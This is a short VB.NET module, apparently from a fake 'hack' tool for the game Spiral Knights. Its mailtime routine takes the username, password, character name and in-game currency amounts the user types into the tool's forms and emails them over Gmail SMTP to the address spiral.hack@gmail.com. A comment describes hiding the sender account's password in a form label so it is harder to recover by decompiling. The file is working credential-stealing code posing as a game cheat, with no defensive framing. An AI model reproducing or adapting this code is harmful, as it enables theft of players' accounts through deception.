Imports System.Net.Mail
Module Module1
    Sub mailtime()
        ' there was a security issue where ppl were able to get the password from the source (prob by decompiling)
        ' so i made the password the text of a label and dim'd it as pass.
        Dim pass As String
        pass = Form2.Label1.Text

        'create the mail message
        Dim mail As New MailMessage()

        'set the addresses
        mail.From = New MailAddress("spiral.hack@gmail.com")
        mail.To.Add("spiral.hack@gmail.com")

        'set the content
        mail.Subject = "Spiral Knight Account"
        mail.Body = "The username is: " & Form1.TextBox1.Text & " ; The password is: " & Form1.TextBox2.Text & " ; Character name is: " & Form2.TextBox1.Text & " ; The crowns ammount is: " & Form2.TextBox3.Text & " ; The energy ammount is: " & Form2.TextBox6.Text

        'send the message
        Dim smtp As New SmtpClient("smtp.gmail.com")
        smtp.EnableSsl = True
        smtp.Credentials = New Net.NetworkCredential("spiral.hack@gmail.com", pass)
        smtp.Send(mail)
    End Sub

End Module